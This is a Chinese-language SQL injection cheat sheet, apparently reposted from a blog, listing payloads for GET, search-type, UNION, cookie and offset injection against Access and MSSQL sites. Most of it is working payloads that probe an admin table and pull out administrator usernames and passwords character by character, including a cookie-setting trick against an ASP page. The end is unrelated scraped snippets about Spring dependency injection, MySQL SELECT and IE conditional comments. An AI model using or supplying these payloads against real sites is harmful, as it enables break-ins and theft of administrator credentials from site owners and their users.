注入语句详解(get注入,cookie注入,搜索型注入等)

注意:对于普通的get注入,如果是字符型,前加‘   后加 and ‘‘=‘ 
拆半法 
###################################### 
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。 
and exists (select * from admin) 
and exists(select id from admin) 
and exists(select id from admin where id=1) 
and exists(select id from admin where id>1) 
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 
and exists (select username from admin) 
and exists (select password from admin) 
and exists (select id from admin where len(username)<10 and id=1) 
and exists (select id from admin where len(username)>5 and id=1) 
and exists (select id from admin where len(username)=6 and id=1) 
and exists (select id from admin where len(password)<10 and id=1) 
and exists (select id from admin where len(password)>5 and id=1) 
and exists (select id from admin where len(password)=7 and id=1) 
and (select top 1 asc(mid(username,1,1)) from admin)=97 
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。 
猜第二位把username,1,1改成username,2,1就可以了。 
猜密码把username改成password就OK了 
################################################## 
搜索型注入 
################################## 
%‘ and 1=1 and ‘%‘=‘ 
%‘ and exists (select * from admin) and ‘%‘=‘ 
%‘ and exists(select id from admin where id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(username)<10 and id=1) and ‘%‘=‘ 
%‘ and exists (select id from admin where len(password)=7 and id=1) and ‘%‘=‘ 
%‘ and (select top 1 asc(mid(username,1,1)) from admin)=97 and ‘%‘=‘ 
这里也说明一下,搜索型注入也无他,前加%‘ 后加 and ‘%‘=‘ 
对于MSSQL数据库,后面可以吧 and ‘%‘=‘换成-- 
还有一点搜索型注入也可以使用union语句。 
######################################################## 
联合查询。 
##################################### 
order by 10 
and 1=2 union select 1,2,3,4,5,6,7,8,9,10 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin 
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1 
很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!) 
###################################

cookie注入 
############################### 
http://www.******.com/shownews.asp?id=127 
http://www.******.com/shownews.asp 
alert(="id="+escape("127")); 
alert(="id="+escape("127 and 1=1")); 
alert(="id="+escape("127 order by 10")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin")); 
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。 
###################################

偏移注入 
########################################################### 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on 
a.id=d.id) 
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id) 
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

转载自:http://tiwson.iteye.com/blog/1919349

时间: 2024-08-05 01:28:42

注入语句详解(get注入,cookie注入,搜索型注入等)的相关文章

Java程序员从笨鸟到菜鸟之(一百)sql注入攻击详解(一)sql注入原理详解

前段时间,在很多博客和微博中暴漏出了12306铁道部网站的一些漏洞,作为这么大的一个项目,要说有漏洞也不是没可能,但其漏洞确是一些菜鸟级程序员才会犯的错误.其实sql注入漏洞就是一个.作为一个菜鸟小程序员,我对sql注入的东西了解的也不深入,所以抽出时间专门学习了一下.现在把学习成果分享给大家,希望可以帮助大家学习.下面我们就来看一下. 一.什么是sql注入呢?         所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的

Spring事务Transaction配置的五种注入方式详解

Spring事务Transaction配置的五种注入方式详解 前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过,但是一直没有一个清楚的认识.通过这次的学习发觉Spring的事务配置只要把思路理清,还是比较好掌握的. ??? 总结如下: ??? Spring配置文件中关于事务配置总是由三个组成部分,分别是DataSource.TransactionManager和代理机制这三部分,无论哪种配置方式,一般变化的只是代理机制这部分. ???DataSou

Unity依赖注入使用详解

Unity依赖注入使用详解 写在前面 构造器注入 Dependency属性注入 InjectionMethod方法注入 非泛型注入 标识键 ContainerControlledLifetimeManager单例 Unity注册配置问题 Unity的app.config节点配置 后记 关于 控制反转 (Inversion of Control)和 依赖注入 (Dependency Injection)大家网上可以找下相关概念,在 <小菜学习设计模式(五)—控制反转(Ioc)> 这篇文章中本人也

spring中Bean的注入参数详解

字面值    一般指可用字符串表示的值,这些值可以通过<value>元素标签进行注入.在默认情况下,基本数据类型及其封装类.String等类型都可以采取字面值注入的方式,Spring容器在内部为字面值提供了编辑器,它可以将以字符串表示的字面值转换为内部变量的相应类型.    配置信息:    <bean id="car" class="com.luxl.domain.Car">        <property name="m

mysql基础篇 - SELECT 语句详解

基础篇 - SELECT 语句详解 SELECT语句详解 一.实验简介 SQL 中最常用的 SELECT 语句,用来在表中选取数据,本节实验中将通过一系列的动手操作详细学习 SELECT 语句的用法. 二.实验准备 在正式开始本实验内容之前,需要先下载相关数据库表,搭建好一个名为mysql_shiyan 的数据库(有三张表:department,employee,project),并向其中插入数据. 具体操作如下,首先输入命令进入 /home/shiyanlou/Desktop 目录: cd /

判断IE版本的HTML语句详解,如:[if lte IE 9]……[endif]

我们常常会在网页的HTML里面看到形如[if lte IE 9]--[endif]的代码,表示的是限定某些浏览器版本才能执行的语句,那么这些判断语句的规则是什么呢?请看下文: <!--[if !IE]><!--> 除IE外都可识别 <!--<![endif]--><!--[if IE]> 所有的IE可识别 <![endif]--><!--[if IE 6]> 仅IE6可识别 <![endif]--><!--[i

MySQL之SELECT 语句详解

本文参考实验楼的SELECT 语句详解结合自己操作部分而写成. 注意:大多数系统中,SQL语句都是不区分大小写的,但是出于严谨和便于区分保留字和变量名,在书写的时,保留字应大写,而变量名应小写.所谓的保留字,即为:在高级语言中已定义过的字,使用者不能将这些字作为变量名和过程名使用. 1)SELECT语句的基本格式是:SELECT 查询的列名 FROM 表名 WHERE 限制条件:在上一篇博客创建一个简单的成绩管理系统 中,使用SELECT * FROM employee代表查询所有的列.例如,要

MyBatis的foreach语句详解

MyBatis的foreach语句详解 MyBatis的foreach语句详解 1人收藏此文章, 我要收藏 发表于3个月前 , 已有113次阅读 共0个评论 foreach的主要用在构建in条件中,它可以在SQL语句中进行迭代一个集合.foreach元素的属性主要有 item,index,collection,open,separator,close.item表示集合中每一个元素进行迭代时的别名,index指 定一个名字,用于表示在迭代过程中,每次迭代到的位置,open表示该语句以什么开始,se

【转】MySQL用户管理及SQL语句详解

[转]MySQL用户管理及SQL语句详解 1.1 MySQL用户管理 1.1.1 用户的定义 用户名+主机域 mysql> select user,host,password from mysql.user; +--------+------------+-------------------------------------------+ | user | host | password | +--------+------------+---------------------------